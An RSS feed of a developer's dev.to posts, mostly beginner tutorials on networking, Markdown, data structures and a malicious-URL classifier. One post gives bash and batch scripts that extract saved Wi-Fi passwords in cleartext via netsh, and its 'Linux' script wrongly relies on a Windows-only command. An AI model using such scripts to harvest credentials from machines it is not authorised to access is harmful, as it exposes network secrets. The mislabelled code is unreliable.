<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Muhammad Usman</title>
    <description>The latest articles on DEV Community by Muhammad Usman (@codeninjausman).</description>
    <link>https://dev.to/codeninjausman</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1029620%2F3fe0da39-bf80-4053-852e-0e575006e54a.jpg</url>
      <title>DEV Community: Muhammad Usman</title>
      <link>https://dev.to/codeninjausman</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/codeninjausman"/>
    <language>en</language>
    <item>
      <title>TCP, UDP, and the Three-Way Handshake</title>
      <dc:creator>Muhammad Usman</dc:creator>
      <pubDate>Fri, 14 Jul 2023 06:47:57 +0000</pubDate>
      <link>https://dev.to/codeninjausman/tcp-udp-and-the-three-way-handshake-54o9</link>
      <guid>https://dev.to/codeninjausman/tcp-udp-and-the-three-way-handshake-54o9</guid>
      <description>&lt;p&gt;TCP (Transmission Control Protocol) and UDP (User Datagram Protocol) are both transport layer protocols used in computer networks to enable communication between devices. They have different characteristics and are suitable for different types of network applications.&lt;/p&gt;

&lt;p&gt;TCP is a connection-oriented protocol that provides reliable and ordered delivery of data packets. It establishes a virtual circuit between the sender and receiver and ensures that data is received without errors and in the correct order. TCP achieves reliability through various mechanisms, such as acknowledgments, retransmissions, and flow control. It is commonly used for applications that require error-free and ordered delivery, such as web browsing, email, and file transfer.&lt;/p&gt;

&lt;p&gt;On the other hand, UDP is a connectionless protocol that offers a lightweight and low-latency communication mechanism. Unlike TCP, UDP does not establish a dedicated connection before transmitting data. It simply encapsulates data into packets and sends them to the destination without any guarantee of delivery or order. UDP is useful for real-time applications where low latency is critical, such as streaming media, online gaming, and DNS (Domain Name System) lookups.&lt;/p&gt;

&lt;p&gt;The Three-Way Handshake, also known as the TCP handshake, is a process that TCP uses to establish a connection between two devices. It is essential for initiating a reliable and ordered data transfer. The handshake involves three steps:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;SYN (Synchronize): The client sends a TCP packet with the SYN flag set to the server. This packet contains a random sequence number and other TCP control information. The client enters the SYN_SENT state, waiting for a response.&lt;/li&gt;
&lt;li&gt;SYN-ACK (Synchronize-Acknowledgment): If the server is willing to establish a connection, it responds with a TCP packet that has the SYN and ACK (acknowledgment) flags set. The packet includes its own random sequence number and an acknowledgment number that confirms the receipt of the client's SYN packet. The server enters the SYN-RECEIVED state.&lt;/li&gt;
&lt;li&gt;ACK (Acknowledgment): Finally, the client acknowledges the server's response by sending a TCP packet with the ACK flag set. This packet contains the server's sequence number incremented by one and an acknowledgment number confirming the server's receipt. The client enters the ESTABLISHED state, and the server transitions to the ESTABLISHED state upon receiving this acknowledgment.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;At this point, the TCP connection is established, and both the client and server can start exchanging data packets. If any of the steps fail or time out, the connection establishment fails, and the handshake is retried.&lt;/p&gt;

&lt;p&gt;The Three-Way Handshake ensures that both devices agree on initial sequence numbers, confirms each other's readiness to establish a connection, and synchronizes the initial sequence number and acknowledgment number. This process provides a reliable foundation for the subsequent data transfer, error recovery, and flow control mechanisms employed by TCP.&lt;/p&gt;

&lt;p&gt;In summary, TCP and UDP are transport layer protocols with different characteristics suited for different network applications. TCP offers reliable and ordered delivery, while UDP provides lightweight and low-latency communication. The Three-Way Handshake is a crucial process used by TCP to establish a connection between devices, ensuring synchronization and reliability in data transmission.&lt;/p&gt;

</description>
      <category>hacking</category>
      <category>certification</category>
    </item>
    <item>
      <title>Markdown: A simple guide</title>
      <dc:creator>Muhammad Usman</dc:creator>
      <pubDate>Tue, 18 Apr 2023 17:11:12 +0000</pubDate>
      <link>https://dev.to/codeninjausman/markdown-a-simple-guide-1f2f</link>
      <guid>https://dev.to/codeninjausman/markdown-a-simple-guide-1f2f</guid>
      <description>&lt;p&gt;Markdown is a lightweight markup language that allows you to create formatted documents using a simple syntax. It was created by John Gruber in 2004, and has since become a popular choice for writing documentation, README files, and even blog posts. In this blog post, we'll explore the basics of Markdown and how you can use it to format your own documents.&lt;/p&gt;

&lt;h2&gt;
  
  
  Basic Syntax
&lt;/h2&gt;

&lt;p&gt;The basic syntax of Markdown is designed to be as simple and intuitive as possible. Here are some of the most commonly used elements:&lt;/p&gt;

&lt;h1&gt;
  
  
  Headings
&lt;/h1&gt;

&lt;p&gt;You can create headings by using one to six hash (#) symbols at the beginning of a line, followed by a space and the heading text. The number of hash symbols indicates the level of the heading, with one hash symbol indicating a top-level heading and six hash symbols indicating a subheading.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For example:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# This is a top-level heading
## This is a subheading
### This is a sub-subheading
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Text Styling
&lt;/h1&gt;

&lt;p&gt;You can style your text in various ways using Markdown:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Bold&lt;/strong&gt;: To make text bold, surround it with two asterisks (*&lt;em&gt;).&lt;br&gt;
Italic: To make text italic, surround it with one asterisk (&lt;/em&gt;).&lt;br&gt;
Strikethrough: To add a strikethrough to text, surround it with two tildes (~~).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For example:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;This text is **bold**.
This text is *italic*.
This text is ~~strikethrough~~.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Lists
&lt;/h1&gt;

&lt;p&gt;You can create both ordered and unordered lists using Markdown. To create an unordered list, simply start each item with a hyphen (-), plus sign (+), or asterisk (*). To create an ordered list, start each item with a number followed by a period (1., 2., 3., etc.).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For example:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;- Item 1
- Item 2
- Item 3

1. First item
2. Second item
3. Third item
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Links and Images
&lt;/h1&gt;

&lt;p&gt;You can add links and images to your Markdown documents using the following syntax:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Links&lt;/strong&gt;: To create a link, surround the link text with square brackets (&lt;br&gt;
) and the URL with parentheses (&lt;br&gt;
).&lt;br&gt;
&lt;strong&gt;Images&lt;/strong&gt;: To add an image, use the same syntax as links, but add an exclamation mark (!) before the square brackets.&lt;br&gt;
&lt;strong&gt;For example:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[Click here to visit Google](https://www.google.com)

![Alt text](https://www.example.com/image.jpg)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Conclusion
&lt;/h1&gt;

&lt;p&gt;Markdown is a simple yet powerful way to format text. It allows you to create documents quickly and easily, without having to worry about complicated formatting or styling. With just a few basic syntax elements, you can create professional-looking documents that are easy to read and understand. So the next time you need to create a document, give Markdown a try!&lt;/p&gt;

</description>
      <category>markdown</category>
      <category>tutorial</category>
      <category>beginners</category>
    </item>
    <item>
      <title>AVL Tree</title>
      <dc:creator>Muhammad Usman</dc:creator>
      <pubDate>Fri, 24 Mar 2023 05:38:33 +0000</pubDate>
      <link>https://dev.to/codeninjausman/avl-tree-46o2</link>
      <guid>https://dev.to/codeninjausman/avl-tree-46o2</guid>
      <description>&lt;p&gt;In this tutorial, you will learn what an avl tree is. Also, you will find working examples of various operations performed on an avl tree in C++ and Python.&lt;/p&gt;

&lt;p&gt;AVL tree is a self-balancing binary search tree in which each node maintains extra information called a balance factor whose value is either -1, 0 or +1.&lt;/p&gt;

&lt;p&gt;AVL tree got its name after its inventor Georgy Adelson-Velsky and Landis.&lt;/p&gt;




&lt;h2&gt;
  
  
  Balance Factor
&lt;/h2&gt;

&lt;p&gt;Balance factor of a node in an AVL tree is the difference between the height of the left subtree and that of the right subtree of that node.&lt;/p&gt;

&lt;p&gt;Balance Factor = (Height of Left Subtree - Height of Right Subtree) or (Height of Right Subtree - Height of Left Subtree)&lt;/p&gt;

&lt;p&gt;The self balancing property of an avl tree is maintained by the balance factor. The value of balance factor should always be -1, 0 or +1.&lt;/p&gt;




&lt;h1&gt;
  
  
  &lt;strong&gt;Python:&lt;/strong&gt;
&lt;/h1&gt;


&lt;div class="ltag_gist-liquid-tag"&gt;
  
&lt;/div&gt;


&lt;h1&gt;
  
  
  &lt;strong&gt;C++:&lt;/strong&gt;
&lt;/h1&gt;


&lt;div class="ltag_gist-liquid-tag"&gt;
  
&lt;/div&gt;





&lt;h2&gt;
  
  
  Complexities of Different Operations on an AVL Tree
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--X005a0gP--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/oe71sp4fwiyfpb2wfw7n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--X005a0gP--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/oe71sp4fwiyfpb2wfw7n.png" alt="Complexity" width="880" height="132"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  AVL Tree Applications
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;For indexing large records in databases&lt;/li&gt;
&lt;li&gt;For searching in large databases&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>datastrutures</category>
      <category>cpp</category>
      <category>python</category>
    </item>
    <item>
      <title>Hashmaps</title>
      <dc:creator>Muhammad Usman</dc:creator>
      <pubDate>Wed, 22 Mar 2023 07:21:07 +0000</pubDate>
      <link>https://dev.to/codeninjausman/hashmaps-4p7</link>
      <guid>https://dev.to/codeninjausman/hashmaps-4p7</guid>
      <description>&lt;h2&gt;
  
  
  Definition
&lt;/h2&gt;

&lt;p&gt;Hashmaps, also known as hash tables or dictionaries, are a fundamental data structure in computer science used to efficiently store and retrieve key-value pairs. In a hashmap, each key is mapped to a specific value through a hash function, which converts the key into a numeric index that is used to store and retrieve the associated value in an array-like data structure called a bucket.&lt;/p&gt;

&lt;p&gt;The process of adding a key-value pair to a hashmap involves the following steps:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The hash function takes the key as input and produces a hash code, which is an integer value that represents the key in a more compact and standardized form.&lt;/li&gt;
&lt;li&gt;The hash code is then used to compute an index into the array-like bucket structure, where the value associated with the key can be stored.&lt;/li&gt;
&lt;li&gt;If there is already a value stored at the computed index, a collision has occurred, and a collision resolution strategy is used to handle the collision and store the new value in a different bucket.&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If there is no value stored at the computed index, the new key-value pair is stored in the bucket at that index.&lt;br&gt;
When retrieving a value from a hashmap, the process is similar:&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The hash function is applied to the key to compute the hash code.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The hash code is used to compute the index into the bucket structure where the value should be stored.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The value at the computed index is returned, or if there is no value stored at that index, the key is not in the hashmap.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Hashmaps have several advantages over other data structures for storing key-value pairs. First, they offer fast average-case performance for accessing and retrieving values, with a time complexity of O(1) for both operations. Second, they can handle a large number of key-value pairs without requiring significant amounts of memory. Finally, hashmaps are dynamic data structures that can be resized and rehashed as needed to accommodate changes in the number of key-value pairs.&lt;/p&gt;
&lt;h2&gt;
  
  
  Implementation
&lt;/h2&gt;


&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;class HashTable:
    def __init__(self, size):
        self.size = size
        self.hash_table = self.create_buckets()

    def create_buckets(self):
        return [[] for _ in range(self.size)]

    def set_val(self, key, val):
        hashed_key = hash(key) % self.size
        bucket = self.hash_table[hashed_key]
        found_key = False
        for index, record in enumerate(bucket):
            record_key, record_val = record
            if record_key == key:
                found_key = True
                break
        if found_key:
            bucket[index] = (key, val)
        else:
            bucket.append((key, val))

    def get_val(self, key):
        hashed_key = hash(key) % self.size
        bucket = self.hash_table[hashed_key]
        found_key = False
        for index, record in enumerate(bucket):
            record_key, record_val = record
            if record_key == key:
                found_key = True
                break
        if found_key:
            return record_val
        else:
            return "No record found"

    def delete_val(self, key):
        hashed_key = hash(key) % self.size
        bucket = self.hash_table[hashed_key]
        found_key = False
        for index, record in enumerate(bucket):
            record_key, record_val = record
            if record_key == key:
                found_key = True
                break
        if found_key:
            bucket.pop(index)
        return

    def __str__(self):
        return "".join(str(item) for item in self.hash_table)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Disadvantages:&lt;/strong&gt;&lt;br&gt;
However, hashmaps also have some disadvantages. The most significant issue is the possibility of collisions, which can degrade the performance of the data structure if not handled properly. Additionally, hashmaps can be vulnerable to certain types of attacks, such as hash collision attacks, which can be used to overwhelm the bucket structure with intentionally crafted keys.&lt;/p&gt;

&lt;p&gt;To address these issues, hashmaps use various techniques for collision resolution, such as chaining (where multiple values are stored in the same bucket as a linked list) or open addressing (where additional buckets are probed until an empty bucket is found). Additionally, hash functions can be designed to minimize the likelihood of collisions or to be resistant to collision attacks.&lt;/p&gt;

</description>
      <category>datastructures</category>
      <category>python</category>
      <category>cpp</category>
    </item>
    <item>
      <title>Get Network Passwords</title>
      <dc:creator>Muhammad Usman</dc:creator>
      <pubDate>Sun, 19 Mar 2023 17:52:02 +0000</pubDate>
      <link>https://dev.to/codeninjausman/get-network-passwords-1ej6</link>
      <guid>https://dev.to/codeninjausman/get-network-passwords-1ej6</guid>
      <description>&lt;p&gt;Welcome to this blog post where I will walk you through the process of retrieving the Wi-Fi password saved on your PC. But before we proceed, we would like to issue a warning for educational purposes only. I do not condone or promote the unauthorized access of any Wi-Fi network without the owner's consent. The method we are going to discuss should only be used for educational purposes, to help you understand how Wi-Fi passwords are stored on your PC and to enable you to better protect your network from potential security breaches.&lt;/p&gt;

&lt;p&gt;With that said, let's dive into the process of retrieving the Wi-Fi password saved on your PC. Many of us have experienced a situation where we want to connect a new device to our Wi-Fi network, but we can't remember the password. Fortunately, your PC stores the Wi-Fi password for each network that you have connected to in the past, and it's relatively easy to retrieve it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Linux
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#!/bin/bash

meta_data=$(netsh wlan show profiles)
data=$(echo "$meta_data" | iconv -f "windows-1251" -t "utf-8" | sed -n "s/    All User Profile     : //p")
profiles=($data)

printf "%-30s| %-s\n" "Wi-Fi Name" "Password"
printf "______________________________________________\n"

for i in "${profiles[@]}"
do
    results=$(netsh wlan show profile "$i" key=clear)
    password=$(echo "$results" | sed -n "s/    Key Content            : //p")

    if [ -z "$password" ]
    then
        password=""
    fi

    printf "%-30s| %-s\n" "$i" "$password"
done
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Save this file with a suitable name, such as "wifi-passwords.sh". Make sure you set the executable bit for the file by running the following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;chmod +x wifi-passwords.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can then run the script using:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./wifi-passwords.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will display a list of all saved Wi-Fi networks and their passwords. Note that this script may not work on all systems or may require modifications to work properly.&lt;/p&gt;

&lt;h2&gt;
  
  
  Windows
&lt;/h2&gt;

&lt;p&gt;To convert the shell script to a batch file, you can create a new file with a .bat extension and add the following code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;@echo off
setlocal enabledelayedexpansion

for /f "tokens=2 delims=: " %%a in ('netsh wlan show profiles ^| findstr "All User Profile"') do (
    set "profile=%%a"
    set "profile=!profile:~1,-1!"
    set "password="
    for /f "tokens=2 delims=: " %%b in ('netsh wlan show profile "!profile!" key^=clear ^| findstr "Key Content"') do (
        set "password=%%b"
        set "password=!password:~1!"
        echo !profile! | powershell -Command "$input | Out-Host"
        echo !password! | powershell -Command "$input | Out-Host"
        echo "______________________________________________"
    )
)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Save this file with a suitable name, such as "wifi-passwords.bat". You can then run the batch file by double-clicking on it. This will display a list of all saved Wi-Fi networks and their passwords.&lt;/p&gt;

&lt;p&gt;Note that the batch file may not work on all systems or may require modifications to work properly. Also, the batch file may display some non-ASCII characters incorrectly due to differences in character encoding between Bash and Windows Command Prompt&lt;/p&gt;

</description>
      <category>hacking</category>
      <category>network</category>
    </item>
    <item>
      <title>Train Url prediction</title>
      <dc:creator>Muhammad Usman</dc:creator>
      <pubDate>Mon, 13 Mar 2023 06:50:15 +0000</pubDate>
      <link>https://dev.to/codeninjausman/train-url-prediction-1c6c</link>
      <guid>https://dev.to/codeninjausman/train-url-prediction-1c6c</guid>
      <description>&lt;p&gt;As we navigate through an increasingly digitized world, the threat of cyber attacks looms large, making it crucial to have robust measures in place to protect ourselves. One such measure is the use of machine learning models to predict whether a URL is malicious or benign, and in this blog, we will explore just that.&lt;br&gt;
The success of any machine learning model depends on the quality of the data it is trained on. In the case of building a model to predict whether a URL is malicious or benign, we need a dataset that contains examples of both types of URLs. &lt;br&gt;
I found the perfect example of that &lt;a href="https://www.kaggle.com/datasets/teseract/urldataset"&gt;Dataset&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;
  
  
  Processing
&lt;/h1&gt;

&lt;p&gt;Preprocessing is a crucial step in machine learning that involves preparing the data for analysis by transforming it into a format that is suitable for the model. Preprocessing can involve a range of techniques, such as handling missing values, scaling the features, removing outliers, and encoding categorical variables. The importance of preprocessing lies in the fact that the quality of the data is directly proportional to the accuracy and effectiveness of the model. By preprocessing the data, we can remove noise and inconsistencies, standardize the features, and ensure that the data is in a format that is compatible with the machine learning algorithms. Preprocessing also helps to reduce the computational complexity of the model and can improve its performance by making it less sensitive to irrelevant or redundant features. Overall, preprocessing is an essential step in machine learning that can have a significant impact on the quality and efficacy of the model.&lt;br&gt;
&lt;strong&gt;Imports&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Imports
import pandas as pd
import matplotlib.pyplot as plt
from sklearn.ensemble import RandomForestClassifier
from sklearn.model_selection import train_test_split
import pickle
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Reading the dataset&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Read the CSV file
df = pd.read_csv('data.csv',index_col=False)

# Print the first 5 rows of the data
df.head()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Columns&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Print the column labels of the data
df.columns
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Unique labels&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Print all unique values in the 'label' column
print(df['label'].unique())
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;As we want the labels to be malicious or benign not good or bad we will map them&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;label_map = {'bad': "malicious", 'good': "benign"}

# use the map() method to replace the labels with numerical values
df['label'] = df['label'].map(label_map)
# Print all unique values in the 'label' column
print(df['label'].unique())
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Getting percentage of malicious or benign urls&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# calculate the percentage of 'benign' and 'malicious' labels
label_counts = df['label'].value_counts(normalize=True)
benign_percent = label_counts['benign'] * 100
malicious_percent = label_counts['malicious'] * 100

# create a pie chart
labels = ['Benign', 'Malicious']
sizes = [benign_percent, malicious_percent]
colors = ['green', 'red']
explode = (0, 0.1)

plt.pie(sizes, explode=explode, labels=labels, colors=colors,
        autopct='%1.1f%%', shadow=True, startangle=90)
plt.axis('equal')

plt.show()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Removing Duplicates:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# remove the duplicate rows based on all columns
df = df.drop_duplicates()
df.head()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  &lt;strong&gt;Training&lt;/strong&gt;
&lt;/h1&gt;

&lt;p&gt;Training is the process of teaching a machine learning model to make accurate predictions by adjusting its internal parameters based on the input data. During training, the model is exposed to a set of labeled examples and iteratively updates its parameters to minimize the difference between the predicted output and the actual output. The objective of training is to create a model that can generalize well to new, unseen data by learning the underlying patterns and relationships in the training data. The quality of the training process depends on several factors, such as the size and diversity of the training data, the complexity of the model, and the choice of optimization algorithm. The goal of training is to achieve a balance between overfitting and underfitting, where the model is not too complex or too simple to make accurate predictions. Once the training process is complete, the model can be evaluated on a separate test dataset to assess its performance and generalization ability. Training is a critical step in the machine learning workflow that requires careful attention to ensure the model is both accurate and efficient.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Split Dataset&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;X = df['url']
y = df['label']
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Making a model&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;from sklearn.feature_extraction.text import TfidfVectorizer

vectorizer = TfidfVectorizer()
X_train = vectorizer.fit_transform(X_train)
X_test = vectorizer.transform(X_test)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Train the model&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;rf = RandomForestClassifier(n_estimators=100, random_state=42)
rf.fit(X_train, y_train)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Getting accuracy&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;from sklearn.metrics import accuracy_score, confusion_matrix

y_pred = rf.predict(X_test)
print("Accuracy:", accuracy_score(y_test, y_pred))
print("Confusion matrix:\n", confusion_matrix(y_test, y_pred))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Storing the model as pkl file:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;with open('model.pkl', 'wb') as f:
    pickle.dump(rf, f)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;How to use the model.pkl:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;with open('model.pkl', 'rb') as f:
    model = pickle.load(f)

new_url = ['google.com/../../etc/pwd']
new_url_transformed = vectorizer.transform(new_url)
prediction = model.predict(new_url_transformed)
print(prediction)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will output either 'malicious' or 'benign' depending on the prediction of the model.&lt;/p&gt;

&lt;h1&gt;
  
  
  Summary
&lt;/h1&gt;

&lt;p&gt;In this conversation, we discussed several key aspects of machine learning, including finding datasets, preprocessing, and training. We highlighted the importance of finding quality datasets that are representative of the real-world scenarios the model is expected to encounter. Preprocessing was also discussed as a critical step to prepare the data for analysis by transforming it into a format that is suitable for the model. Lastly, we explored the training process, which involves teaching the model to make accurate predictions by adjusting its internal parameters based on the input data. Training is an iterative process that requires careful attention to ensure the model is both accurate and efficient. Overall, these are essential steps in the machine learning workflow that can significantly impact the performance and efficacy of the model.&lt;/p&gt;

&lt;h4&gt;
  
  
  The code can be found at &lt;a href="https://www.kaggle.com/code/codeninjausman/url-prediction"&gt;Kaggle&lt;/a&gt;
&lt;/h4&gt;

</description>
      <category>datascience</category>
      <category>python</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Tree Structures</title>
      <dc:creator>Muhammad Usman</dc:creator>
      <pubDate>Tue, 07 Mar 2023 05:22:57 +0000</pubDate>
      <link>https://dev.to/codeninjausman/tree-structures-1g82</link>
      <guid>https://dev.to/codeninjausman/tree-structures-1g82</guid>
      <description>&lt;h2&gt;
  
  
  Definition:
&lt;/h2&gt;

&lt;p&gt;A tree structure, tree diagram, or tree model is a way of representing the hierarchical nature of a structure in a graphical form.&lt;/p&gt;

&lt;h2&gt;
  
  
  Practical Usage
&lt;/h2&gt;

&lt;p&gt;Tree structures have a wide range of practical uses in computer science and programming. Here are some common examples:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;File systems: File systems are often represented as tree structures, with directories as nodes and files as leaves. Each directory node can have one or more child nodes (sub-directories or files), forming a hierarchical structure that allows for efficient storage and retrieval of files.&lt;/li&gt;
&lt;li&gt;Representing hierarchical data: Trees can be used to represent any kind of hierarchical data, such as organizational charts, family trees, and taxonomies. Each node in the tree represents a category or sub-category, and the edges between nodes represent the relationship between them.&lt;/li&gt;
&lt;li&gt;Implementing search algorithms: Trees can be used to implement search algorithms such as binary search and breadth-first search. Binary search trees are particularly useful for searching for data in sorted lists, while breadth-first search trees can be used to search through large graphs or networks.&lt;/li&gt;
&lt;li&gt;Decision trees: Decision trees are used in machine learning and data mining to model decisions and their possible consequences. Each node in the tree represents a decision point, and the edges represent the possible outcomes or consequences of that decision.&lt;/li&gt;
&lt;li&gt;Syntax trees: Syntax trees are used in natural language processing to represent the structure of sentences in a language. Each node in the tree represents a part of speech or a phrase, and the edges represent the relationships between them.
Overall, tree structures have a wide range of practical uses in computer science and programming, and their flexibility and efficiency make them a valuable tool for solving many different kinds of problems.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Example
&lt;/h2&gt;


&lt;div class="ltag_gist-liquid-tag"&gt;
  
&lt;/div&gt;
&lt;br&gt;
In this example, we define a Node class that has a value attribute and a list of children nodes. We also define an add_child method to add child nodes to a parent node.

&lt;p&gt;To create a tree, we first create a root node (in this case with a value of 1), and then add child nodes to it using the add_child method. In this example, we add two child nodes with values of 2 and 3 to the root node.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Tree structures are a fundamental data structure in computer science that are used to represent hierarchical relationships between elements. Trees consist of nodes connected by edges, with each node having zero or more child nodes.&lt;/p&gt;

&lt;p&gt;Some common use cases for trees include representing file systems, representing the structure of a website or an organization, and implementing search algorithms such as binary search.&lt;/p&gt;

&lt;p&gt;There are many types of trees, including binary trees, n-ary trees, and balanced trees such as AVL trees and red-black trees. Each type of tree has its own advantages and disadvantages, and the choice of which type of tree to use depends on the specific requirements of the problem being solved.&lt;br&gt;
Overall, trees are a powerful and flexible data structure that can be used in a wide range of applications. Understanding the basics of trees and how to implement them can be a valuable skill for any computer scientist or programmer.&lt;/p&gt;

&lt;h6&gt;
  
  
  Thank you....
&lt;/h6&gt;

</description>
      <category>python</category>
      <category>datastructure</category>
      <category>cpp</category>
    </item>
    <item>
      <title>HACKTHEBOX (HTB) WRITEUP: VESSEL [HARD]</title>
